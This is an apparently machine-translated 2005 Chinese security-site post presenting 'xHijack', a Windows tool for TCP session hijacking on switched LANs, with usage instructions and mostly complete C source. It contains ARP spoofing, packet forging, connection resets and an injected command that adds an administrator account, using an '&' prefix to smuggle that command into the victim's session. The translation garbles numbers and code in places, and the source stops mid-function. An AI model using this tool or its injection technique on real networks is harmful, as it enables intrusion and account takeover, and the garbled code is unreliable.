Then talk about the Exchange environment session hijacking(For windows2000)-vulnerability warning-the black bar safety net

2005-11-22T00:00:00
ID MYHACK58:6220054789
Type myhack58
Reporter 佚名
Modified 2005-11-22T00:00:00

Description

The first step is to open the IP Routing function, modify the registry HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter to 0x1, and restart the system. The second step is ARP spoofing, the specific principle I will not say. The third step is to start the hijacking.

I wrote a program xHijack can achieve the second and third step functions, use the following:

Usage: xHijack ServerSide ClientSide

According to the following three different cases illustrate how the input parameters: <1>Server, client, hijackers in the same LAN, connected to the same switch-on or switch-level company? in. If the server IP is 1 9 2. 1 6 8. 0. 2, The Client IP is 1 9 2. 1 6 8. 0. 3, provides the following parameters to the xHijack can be c:\>xHijack 192.168.0.2 192.168.0.3 Hijacking before the data flow: server <\ - > client Hijacking after the data flow: server <\ - > hijacker <\ - > client

<2>server, the hijacker is in the same LAN, the client is in another network. If the server IP is 2 0 2. 2 0 2. 2 0 2. 2, The Gateway server 2 0 2. 2 0 2. 2 0 2. 1, to provide the following parameters xHijack 202.202.202.2 202.202.202.1 Hijacking before the data flow: server <\ - > gw <\ - > routes <\ - > client Hijacking after the data flow: server <\ - > hijacker <\ - > gw <\ - > routes <\ - > client

<3>client, the hijackers are in the same LAN, the server is in another network. If the Client IP is 1 9 2. 1 6 8. 0. 2, The Gateway 1 9 2. 1 6 8. 0. 1, to provide the following parameters xHijack 192.168.0.1 192.168.0.2 Hijacking before the Data Flow: the client <\ - > gw <\ - > routes <\ - > server Hijacking after the Data Flow: the client <\ - > hijacker <\ - > gw <\ - > routes <\ - > server

Input two parameters, will prompt you to select the card, then prompts l <-- List all connections r x <-- Reset the number x connection w x <-- Watch the number x connection h x command <-- Hijack the number x connection to execute command

list, reset, a watch command and I'll explain. If now the following connection (1) 202.202.202.202:2 3 <\ - > 192.168.0.3:2 3 4 5 We want to hijack this connection to run our command, input xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add" Why the command preceded by the plus&? If the customer just to send a character p in the past, we do not&words, the server accept the To is pnet user..... Up, plus a&after you become a p&net user.....that So regardless of the front of the customer input what we command Are able to run. All of the above assume that the server is windows 2 0 0 0, unix added under what character, I don't know, I'm a unix idiot, huh.

The hijacking process is as follows: <1>masquerading as the Server to the Client sent an rst packet <2>disguised as a Client to the Server send a packet <3>Server back an ACK packet to the client <4>because the Cleint connection has given us reset lost, so the client back a rst packet to the server

In this case, we can only send a fake bag, but I want to have enough. Want to have been the hijacking of that connection may be, as follows <1>masquerading as the Server to the Client sent an rst packet <2>deceive the Client, telling it the Server's MAC address to AAAAAAAAAAAA <3>disguised as a Client to the Server send a packet <4>Server back an ACK packet to the client <5>Client back a rst packet to the Server, but Server can not receive, because the Client sent to AAAAAAAAAAAA, Oh. <6>then Server sent to the Client package by the US to deal with, including to the Server back to the ACK packet, and so on.

But this is more dangerous, in our hijacking of the process, the Client and Server communication is always open.

Just begin to see the TCP/IP Protocol, adjustment program adjustment heads swell, the description is also written mess, and Oh, the program code may also exist many problems, Also please lot of pointing.

BTW:I don't have space, the compiled program no place to put in:

References <>exchange environments session hijacking http://www.xfocus.net/article_view.php?id=375 <>switched network sniffing and ARP spoofing http://www.xfocus.net/article_view.php?id=377

The following is the program code ---------------------------------------------------------------------- /*----------------------------------------------------------------------------- File : xHijack. c Version : 1.0 Create at : 2002/8/12 Last modifed at : 2002/8/19 Author : eyas Email : ey4s@21cn.com HomePage : www.ey4s.org Thank refdom and shotgun released the source code, so that I benefit from non-shallow. If you modify the code, or add more functions, please email me a copy.

Note: <>does not consider the IP header, the TCP header over 2 0 bytes <>does not consider the data packet fragmentation situation <>not to intercept the TCP data is decoded, such as TELNET, although it is transmitted in the clear, but the TCP data which contains a Display format, location and other information directly printed out, looked VERY messy. But if it is IRC, SMTP, POP3, etc. just didn't ask Title.

Maybe the next version will fix these issues, maybe not with the next version.

-----------------------------------------------------------------------------*/

include <stdio. h>

include <conio. h>

include <Packet32. h>

include <ntddndis. h>

include <winsock2. h>

include <with. h>

include <windows. h>

pragma comment (lib, "packet")

pragma comment (lib, "with")

pragma comment (lib, "ws2_32")

define Max_Num_Adapter 1 0

define Max_Num_IPAddr 5

define EPT_IP 0x0800 / type: IP /

define ARP_HARDWARE 0x0001 / Dummy type for 802.3 frames /

define EPT_ARP 0x0806 / type: ARP /

define ACTION_NONE 0

define ACTION_WATCH 1

define ACTION_RESET 2

define ACTION_HIJACK 3

/1 bytes alignment/

pragma pack(1)

typedef struct _ehhdr { unsigned char DestMAC[6]; unsigned char SourceMAC[6]; unsigned short EthernetType; }EHHDR, *PEHHDR;

typedef struct _iphdr //define IP header { unsigned char h_verlen; //4-bit header length,4 bits of the IPThe version number unsigned char tos; //8-bit type of service TOS unsigned short total_len; //1 6-bit total length in bytes unsigned short ident; //1 to 6-digit identification unsigned short frag_and_flags; //3-bit flag unsigned char ttl; //8-bit time to Live TTL unsigned char proto; //8 bits Protocol (TCP, UDP or other) unsigned short checksum; //1 6-bit IP header checksum unsigned int sourceIP; //3 2-bit source IP address unsigned int destIP; //3 2-bit destination IP address }IPHDR, *PIPHDR;

typedef struct _tcphdr //definition of the TCP header { USHORT th_sport; //1 6 bit source port USHORT th_dport; //1 6-bit destination port unsigned int th_seq; //3 2-bit serial number unsigned int th_ack; //3 2-bit acknowledgment number unsigned char th_lenres; //4 bit header length/6-bit reserved words unsigned char th_flag; //6-bit flag USHORT th_win; //1 6 bit window size USHORT th_sum; //1 6 bit checksum USHORT th_urp; //1 6-bit urgent data offset }TCPHDR, *PTCPHDR;

typedef struct _psdhdr //define the TCP pseudo header { unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl; }PSDHDR, *PPSDHDR;

typedef struct _arphdr { unsigned short HrdType;//hardware type unsigned short ProType;//Protocol type unsigned char HrdAddrlen;//hardware address length unsigned char ProAddrLen;//Protocol address length unsigned short op;//operation unsigned char SourceMAC[6];/ sender hardware address / unsigned long SourceIP;/ sender protocol address / unsigned char DestMAC[6];/ target hardware address / unsigned long DestIP;/ target protocol address / }ARPHDR, *PARPHDR;

typedef struct _ArpPacket { EHHDR ehhdr; ARPHDR arphdr; }ARPPACKET, *PARPPACKET;

typedef struct _tcppacket { EHHDR ehhdr; IPHDR iphdr; TCPHDR tcphdr; }TCPPACKET, *PTCPPACKET;

typedef struct _conninfo { DWORD dwServerIP; USHORT uServerPort; DWORD dwClientIP; USHORT uClientPort; DWORD ident;//identification BOOL bActive; struct _conninfo Next; }CONNINFO, PCONNINFO;

//Define global variables unsigned int g_ServerSideIP, g_ClientSideIP, g_OwnIP[Max_Num_IPAddr],//this machine IP address list g_TotalIP = 0;// unsigned char g_szOwnMAC[6];//the native MAC address unsigned char g_szClientSideMAC[6]; unsigned char g_szServerSideMAC[6]; char g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP flag LPADAPTER g_lpAdapter; //1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread HANDLE g_hThread[4]; char g_szCommand[1 2 8];//command to execute after hijack DWORD g_dwAction;//action type DWORD g_dwCtrlConn;//action of the control connection identity DWORD g_ident;//node identifier, incremented PCONNINFO g_pCurrCtrlConn = NULL,//action of the current of the control connection information structure pointer g_pConnHead = NULL, g_pConnLast = NULL; char g_szSendPacketBuf[1 5 1 4]; LPPACKET g_lpSendPacket; //Function void usage(void); void ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); void ListAllConnection();//lists all currently connected void ResetActionAllFlag(); USHORT checksum(USHORT , int); BOOL GetMACAddr(DWORD DestIP, char pMAC);//get the target IP's MAC address BOOL IsACKPacket(unsigned char);//judgment is not a pure ack packet LPADAPTER InitAdapter();//initialize some of the parameters and global variables BOOL SendRstPacket(unsigned int, unsigned int);//disguised as a server to cilent sends a rst packet BOOL SendHiJackPacket(PTCPPACKET);//disguised as a client to the server to send us the package DWORD GetConnNum(char , DWORD, DWORD ); DWORD CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); DWORD WINAPI ArpSpoofThread(LPVOID);//perform the arp spoofing function DWORD WINAPI AnalysePacketsThread(LPVOID);//processing the received packet DWORD WINAPI InterfaceThread(LPVOID);// BOOL WINAPI CtrlEvent(DWORD);

int main(int argc, char **argv) { struct bpf_stat stat; int i;

usage(); if (argc != 3) return 0; //Obtain parameters g_ServerSideIP = inet_addr(argv[1]); g_ClientSideIP = inet_addr(argv[2]); //Initialize the adapter & some global variables g_lpAdapter = InitAdapter(); if(! g_lpAdapter) return 0; //get ServerSide MAC & ClientSide MAC if(! GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; if(! GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; //create arp spoof thread i = 1; g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); Sleep(5 0 0); i = 2; g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); //create analyse packet thread g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); //create interface thread g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); //setconsole ctrl handle if(! SetConsoleCtrlHandler(CtrlEvent, TRUE)) { printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); return 0; } //wait for any thread exit WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); //print the capture statistics if(PacketGetStats(g_lpAdapter, &stat) == FALSE) printf("Warning: unable to get stats from the kernel!\ n"); else printf("\n\n%d packets received.\ n%d Packets lost\n",stat. bs_recv,stat. bs_drop); //free resource PacketFreePacket(g_lpSendPacket); PacketCloseAdapter(g_lpAdapter); return 0; }

// //Function: reset the All-in ACTION about the flag // void ResetActionAllFlag() { g_dwCtrlConn = 0; g_pCurrCtrlConn = NULL; g_dwAction = ACTION_NONE; }

// //Function: handle Ctrl+C and Ctrl+Break events // BOOL WINAPI CtrlEvent(DWORD dwCtrlType) { switch(dwCtrlType) { case CTRL_BREAK_EVENT: //reset action all flag ResetActionAllFlag(); break; case CTRL_C_EVENT: //terminate all thread TerminateThread(g_hThread[0], 0); TerminateThread(g_hThread[1], 0); TerminateThread(g_hThread[2], 0); TerminateThread(g_hThread[3], 0); break; default: break; } return TRUE; }

// //Function: process the user input // DWORD GetConnNum(char szStr, DWORD dwLen, DWORD lpCommandPos) { DWORD i; char szBuff[1 6];

lpCommandPos = 0; for(i=0; i<1 5, i<dwLen; i++) { if(szStr[i] == 0x20) { lpCommandPos = i; break; } else szBuff[i] = szStr[i]; } szBuff[i] = 0x0; return atoi(szBuff); }

// //Function: get user input //This part of the code is a mess // DWORD WINAPI InterfaceThread(LPVOID lp) { char szHelp[] = "l\t\t<-- List all connections\n" "r-x\t\t<-- Reset the number x connection\n" "w x\t\t<-- Watch the number x connection\n" "h x command\t<-- Hijack the number x connection to execute command\n" "[Note]\n" "Ctrl+Break to clear all action\n" "Ctrl+C to exit\n"; char szPrompt[] = "\nxHijack>"; char szBuffer[1 2 8]; DWORD dwPos; PCONNINFO pTmp;

while(1) { gets(szBuffer);//do not consider buffer overflow switch(szBuffer[0]) { case 'l': case 'L': ListAllConnection(); break; case 'r': case 'R': if(strlen(szBuffer) >2) { g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); g_dwAction = ACTION_RESET; } else printf("%s", szHelp); break; case 'w': case 'W': if(strlen(szBuffer) > 2) { g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); g_dwAction = ACTION_WATCH; } else printf("%s", szHelp); break; case 'h': case 'H'://h 1 xxx if(strlen(szBuffer) > 5) { g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); //If the command the first character is a'or" if( (szBuffer[2+dwPos+1] == '\") || (szBuffer[2+dwPos+1] == '\"') ) { strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3); g_szCommand[strlen(g_szCommand) - 1] = 0x0;//remove the last'or" } else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3); strcat(g_szCommand, "\x0D\x0A"); g_dwAction = ACTION_HIJACK; } else printf("%s", szHelp); break; default: printf("%s", szHelp); break; }//end of switch //find the specify ident's struct point if( (g_dwCtrlConn) && (g_dwAction) ) { g_pCurrCtrlConn = NULL; pTmp = g_pConnHead; while(pTmp) { if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) ) { g_pCurrCtrlConn = pTmp; break; } pTmp = pTmp->Next; } if(! g_pCurrCtrlConn) { printf("Can't find the number %d connection.\ n", g_dwCtrlConn); //reset action all flag ResetActionAllFlag(); } } if(! g_dwCtrlConn) ResetActionAllFlag(); //Display the current user to the desired action printf("\nCurrentAction:"); switch(g_dwAction) { case ACTION_WATCH: printf("ACTION_WATCH"); break; case ACTION_RESET: printf("ACTION_RESET"); break; case ACTION_HIJACK: printf("ACTION_HIJACK"); break; default: printf("ACTION_NONE"); break; } printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); }//enf of while return 0; }

// //Function: lists all the current connections // void ListAllConnection() { PCONNINFO pTmp; SOCKADDR_IN saDest, saSource; pTmp = g_pConnHead; while(pTmp) { if(pTmp->bActive) { saSource. sin_addr. server_address = pTmp->dwServerIP; saDest. sin_addr. server_address = pTmp->dwClientIP; printf("(%d) %s:%d <\ - > ", pTmp->ident, inet_ntoa(saSource. sin_addr), ntohs(pTmp->uServerPort)); printf("%s:%d\n", inet_ntoa(saDest. sin_addr), ntohs(pTmp->uClientPort)); } pTmp = pTmp->Next; } }

// //Function: initialize some data, to obtain the specified NIC's MAC address and all IP addresses // LPADAPTER InitAdapter() { LPADAPTER lpAdapter; static char AdapterList[Max_Num_Adapter][1 0 2 4]; char szSelectAdapterName[5 1 2]; WCHAR AdapterName[2 0 4 8]; WCHAR temp,temp1; ULONG AdapterLength = 1 0 2 4; int iAdapterNum = 0; int iRetCode, i; int iAdapter = 0; ULONG ulLen = 0; DWORD dwRet; PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; PIP_ADDR_STRING pIPAddr;

//Get The list of Adapter if(PacketGetAdapterNames((char)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\ n"); return 0; } temp = temp1 = AdapterName; i = 0; while ((temp!= '\0')||((temp-1) != '\0')) { if (temp == '\0') { memcpy(AdapterList[i],temp1,(temp-temp1)2); printf("%d - %S\n", i+1, AdapterList[i]); temp1=temp+1; i++; } temp++; } //choose adapter while((iAdapter <= 0) || (iAdapter > i)) { printf("\nPlease choose your Adapter:"); scanf("%1d", &iAdapter); } printf("\n"); //---------------------------------------------// //Here call with to obtain local ip_addr and mac_addr sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_BUFFER_OVERFLOW) { printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; } pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); if(! pAdapterInfo) { printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); return 0; } dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_SUCCESS) { printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; } pTmp = pAdapterInfo; while(pTmp) { //Character to match if(strstr(szSelectAdapterName, pTmp->AdapterName)) { //found it,get own adapter mac address memcpy(g_szOwnMAC, pTmp->Address, 6); //get ip address pIPAddr = &pTmp->IpAddressList; while(pIPAddr) { g_OwnIP[g_TotalIP++] = inet_addr((char )&pIPAddr->IpAddress); pIPAddr = pIPAddr->Next; if(g_TotalIP >= Max_Num_IPAddr) break; } break; } pTmp = pTmp->Next; } free(pAdapterInfo); //not found,return zero if( (! pTmp) || (! g_TotalIP) ) return 0; //---------------------------------------------// //open adapter lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); if (! lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { iRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx\n", iRetCode); return 0; } // set the network adapter in promiscuous mod if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) { printf("Warning: unable to set promiscuous mode! Try set ALL_LOCAL mode!\ n"); if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) { printf("Unable to set ALL_LOCAL mode!\ n"); return 0; } } // set a 512K buffer in the driver if(PacketSetBuff(lpAdapter, 5 1 2 0 0 0) == FALSE) { printf("Unable to set the kernel buffer!\ n"); return 0; } // set a 1 second read timeout if(PacketSetReadTimeout(lpAdapter, 1 0 0 0) == FALSE) printf("Warning: unable to set the read tiemout!\ n"); if(PacketSetNumWrites(lpAdapter, 1) == FALSE) printf("warning: Unable to send more than one packet in a single write!\ n"); //Set the Send packet g_lpSendPacket = PacketAllocatePacket(); if(g_lpSendPacket == NULL) { printf("Error:failed to allocate the LPPACKET structure for send packet.\ n"); return 0; } ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1 5 1 4); return lpAdapter; }

//Function: help information void usage() { printf( "xHijack v1. 0 -- multipurpose connection intruder / sniffer for windows 2 0 0 0\n" "By eyas<ey4s@21cn.com> 2002/8/19\n" "http://www.ey4s.org\n" "Thanks to Refd0m and shotgun\n\n" "Usage: xHijack ServerSide ClientSide\n\n"); }

// //Function: display the packet details // VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) { SOCKADDR_IN saDest, saSrc; unsigned char FlagMask; int i;

saDest. sin_addr. server_address = pTCPPacket->iphdr. destIP; saSrc. sin_addr. server_address = pTCPPacket->iphdr. sourceIP; printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc. sin_addr), ntohs(pTCPPacket->tcphdr. th_sport)); printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest. sin_addr), ntohs(pTCPPacket->tcphdr. th_dport), usDataLen); //display the TCP flag for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) { if((pTCPPacket->tcphdr. th_flag) &FlagMask) printf("%c", g_szTcpFlag[i]); else printf("-"); } printf("\n"); //If necessary, you can display more detailed information if(bDetail) printf("SEQ=%. 8X ACK=%. 8X\n",ntohl(pTCPPacket->tcphdr. th_seq), ntohl(pTCPPacket->tcphdr. th_ack)); }

// //Function: process the received data packet(only the analysis of the present do not belong to its own package), and then according to user input, completion of various functions // DWORD WINAPI AnalysePacketsThread(LPVOID lp) { ULONG ulBytesReceived; USHORT usDataLen; //USHORT usIPHeadLen, usTCPHeadLen; char buf; u_int off, i; PTCPPACKET pTCPPacket; struct bpf_hdr hdr; LPPACKET lpRecvPacket; char szPacketBuf[2 5 6 0 0 0], *pStr; BOOL bDeleteNode, bAddNew; DWORD ident;//the current processing of data packets, belongs to a connection of unique identity BOOL bClientToServer;//whether the data packet sent from the client to the server

//Set the received packet lpRecvPacket = PacketAllocatePacket(); if(lpRecvPacket == NULL) { printf("Error:failed to allocate the LPPACKET structure for recv.\ n"); return 0; } ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); PacketInitPacket(lpRecvPacket, szPacketBuf, 2 5 6 0 0 0); while(1) { // capture the packets if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) { printf("Error: PacketReceivePacket failed.\ n"); break; } ulBytesReceived = lpRecvPacket->ulBytesReceived; buf = lpRecvPacket->Buffer; off = 0; while(off < ulBytesReceived) { hdr = (struct bpf_hdr )(buf + off); off += hdr->bh_hdrlen; pTCPPacket = (PTCPPACKET)(buf + off); off = Packet_WORDALIGN(off + hdr->bh_caplen); //No need to handle their outgoing packets(forwarded or the machine sent) if(memcmp(pTCPPacket->ehhdr. SourceMAC, g_szOwnMAC, 6) == 0) continue; //Check if IP packets if(pTCPPacket->ehhdr. EthernetType != htons(EPT_IP)) continue; //Check whether the TCP packet if(pTCPPacket->iphdr. proto != IPPROTO_TCP) continue; //Also does not deal DestIP is its own package for(i=0; i<g_TotalIP; i++) if(pTCPPacket->iphdr. destIP == g_OwnIP[i]) break; if(i != g_TotalIP) continue; //The temporary does not consider the IP, TCP header not 2 0 bytes //Calculate tcp data length, The total length minus the ip header length and tcp header length //usIPHeadLen = (pTCPPacket->iphdr. h_verlen & 0x0F) * sizeof(unsigned long); //usTCPHeadLen = ((pTCPPacket->tcphdr. th_lenres >> 4) & 0x0F) * sizeof(unsigned long); //usDataLen = ntohs(pTCPPacket->iphdr. total_len) - usIPHeadLen - usTCPHeadLen; usDataLen = ntohs(pTCPPacket->iphdr. total_len) - 4 0; //reset the ctrl link flag bDeleteNode = FALSE; bAddNew = FALSE; //If you receive a rst or fin packet, put the connecting node information is deleted if( (pTCPPacket->tcphdr. th_flag & 0x4)||// rst (pTCPPacket->tcphdr. th_flag & 0x1) )//fin bDeleteNode = TRUE; //Received with the P flag of the TCP packet, only to create a new node, if this Node also does not exist if(pTCPPacket->tcphdr. th_flag & 0x8 ) bAddNew = TRUE; //server:xx --> client:xx if( memcmp(pTCPPacket->ehhdr. SourceMAC, g_szServerSideMAC, 6) == 0) { //update link info ident = CtrlConnInfoLink(pTCPPacket->iphdr. sourceIP, pTCPPacket->tcphdr. th_sport, pTCPPacket->iphdr. destIP, pTCPPacket->tcphdr. th_dport, bDeleteNode, bAddNew); bClientToServer = FALSE; } //server:xx <-- client:xx else if( memcmp(pTCPPacket->ehhdr. SourceMAC, g_szClientSideMAC, 6) ==0) { //update link info ident = CtrlConnInfoLink(pTCPPacket->iphdr. destIP, pTCPPacket->tcphdr. th_dport, pTCPPacket->iphdr. sourceIP, pTCPPacket->tcphdr. th_sport, bDeleteNode, bAddNew); bClientToServer = TRUE; } else continue; //Check whether the want to control the connection of the package //Capture to a from the ClientSide -> ServerSide pure ack packet only after the hijacking //Trigger the hijacking of the condition can be self-modified, I prefer the customer to send one of the stored ACK packet to the SERVER only after the hijacking if(ident == g_dwCtrlConn) { if( (IsACKPacket(pTCPPacket->tcphdr. th_flag)) && (bClientToServer) ) { //reset the connection if(g_dwAction == ACTION_RESET) { //send the rst action,the ack packet is the ack for the rst packet of the seq, the seq as ack SendRstPacket(pTCPPacket->tcphdr. th_ack, pTCPPacket->tcphdr. th_seq); //update link ident = CtrlConnInfoLink(pTCPPacket->iphdr. destIP, pTCPPacket->tcphdr. th_dport, pTCPPacket->iphdr. sourceIP, pTCPPacket->tcphdr. th_sport, TRUE, FALSE); //reset action flag ResetActionAllFlag(); } //start hijack else if(g_dwAction == ACTION_HIJACK) { //send rst packet to client SendRstPacket(pTCPPacket->tcphdr. th_ack, pTCPPacket->tcphdr. th_seq); //send hijack packet to client SendHiJackPacket(pTCPPacket); //reset action flag ResetActionAllFlag(); } } //show the tcp data if( (g_dwAction == ACTION_WATCH) && (usDataLen) ) { ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); //The temporary does not consider the IP, TCP header not 2 0 bytes //pStr = (char )pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; pStr = (char *)pTCPPacket + 5 4; for(i=0; i<usDataLen; printf("%c", pStr[i]), i++); } } //debug output //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); }//end of analyse packets while }//end of recv packets while PacketFreePacket(lpRecvPacket); return 0; }

// //Function: the operation log all the connection information of the one-way linked list // DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, USHORT uClientPort, BOOL bDelete, BOOL bAddNew) { PCONNINFO pNew, pTmp;

pTmp = g_pConnHead; while(pTmp) { if(pTmp->bActive) { //found it if( (pTmp->dwServerIP == dwServerIP) && (pTmp->uServerPort == uServerPort) && (pTmp->dwClientIP == dwClientIP) && (pTmp->uClientPort == uClientPort) ) { if(bDelete) { pTmp->bActive = FALSE; return 0; } else return pTmp->ident; } } pTmp = pTmp->Next; } //not found, create new node if( (! pTmp) && (! bDelete) && (bAddNew) ) { //search unactive note pTmp = g_pConnHead; while(pTmp) { if(! pTmp->bActive) break; pTmp = pTmp->Next; } //found a unactive node if(pTmp) { pTmp->dwServerIP = dwServerIP; pTmp->uServerPort = uServerPort; pTmp->dwClientIP = dwClientIP; pTmp->uClientPort = uClientPort; pTmp->bActive = TRUE; return pTmp->ident; } //not found,create new node pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); if(! pNew) { printf("malloc for link node error:%d\n", GetLastError()); return 0; } //fill the struct pNew->bActive = TRUE; pNew->dwServerIP = dwServerIP; pNew->uServerPort = uServerPort; pNew->dwClientIP = dwClientIP; pNew->uClientPort = uClientPort; pNew->ident = ++g_ident; pNew->Next = NULL; //add new node to link if(! g_pConnHead) g_pConnHead = g_pConnLast = pNew; else { g_pConnLast->Next = pNew; g_pConnLast = pNew; } return pNew->ident; } return 0; }

// //Function: determine whether a data packet is not only the ACK flag // BOOL IsACKPacket(unsigned char flag) { int i, j=1; for(i=0 ; i<4; i++) { if(flag & j) return FALSE; j <<= 1; } if(! (flag & 0x10)) return FALSE;//is the ack? if(flag & 0x20) return FALSE; return TRUE; }

// //Function: disguised as a Client to the Server to send data packets // BOOL SendHiJackPacket(PTCPPACKET pTempletPacket) {

char szBuff[1 of 5 2 0]; PSDHDR psdhdr; PTCPPACKET pHiJackPacket = NULL; BOOL bRet = FALSE;

try { // if(! g_pCurrCtrlConn) leave; //allocate memory for hijack packet pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); if(! pHiJackPacket) { printf("malloc error:%d\n", GetLastError()); leave; } memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); //-------------- modify the packet---------------// //modify ethernethead memcpy(pHiJackPacket->ehhdr. DestMAC, g_szServerSideMAC, 6); memcpy(pHiJackPacket->ehhdr. SourceMAC, g_szOwnMAC, 6); //modify ip head pHiJackPacket->iphdr. h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); pHiJackPacket->iphdr. total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); pHiJackPacket->iphdr. ident += 1;//Identify the plus 1 pHiJackPacket->iphdr. checksum = 0; pHiJackPacket->iphdr. sourceIP = g_pCurrCtrlConn->dwClientIP;//source IP addresses, masquerading as client pHiJackPacket->iphdr. destIP = g_pCurrCtrlConn->dwServerIP;//destination IP address, the receiving hijack address of the packet //modify the tcp head pHiJackPacket->tcphdr. th_sport = g_pCurrCtrlConn->uClientPort;//client's port pHiJackPacket->tcphdr. th_dport = g_pCurrCtrlConn->uServerPort;//server's port pHiJackPacket->tcphdr. th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); pHiJackPacket->tcphdr. th_flag = 0x18;// PA pHiJackPacket->tcphdr. th_sum = 0; pHiJackPacket->tcphdr. th_win = 0x3F44; //fill tcp psd head psdhdr. saddr = pHiJackPacket->iphdr. sourceIP; psdhdr. daddr = pHiJackPacket->iphdr. destIP; psdhdr. mbz = 0; psdhdr. ptcl = IPPROTO_TCP; psdhdr. tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len //calculate tcp checksum memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); pHiJackPacket->tcphdr. th_sum = checksum((USHORT )szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); //calculate IP checksum pHiJackPacket->iphdr. checksum = checksum((USHORT )&pHiJackPacket->iphdr, sizeof(IPHDR)); //fill send buffer memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); memset(g_lpSendPacket->Buffer, 0, 1 5 1 4); memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) { printf("Error sending the hijack packets!\ n"); leave; } else printf("Send hijack packet ok!\ n"); bRet = TRUE; } __finally { if(pHiJackPacket) free(pHiJackPacket); } return bRet; }

// //Function: masquerading as the Server to the Client sends rst packet // BOOL SendRstPacket(unsigned int seq, unsigned int ack) { char szBuff[6 0]; PSDHDR psdhdr; PTCPPACKET pTcpPacket = NULL; BOOL bRet = FALSE;

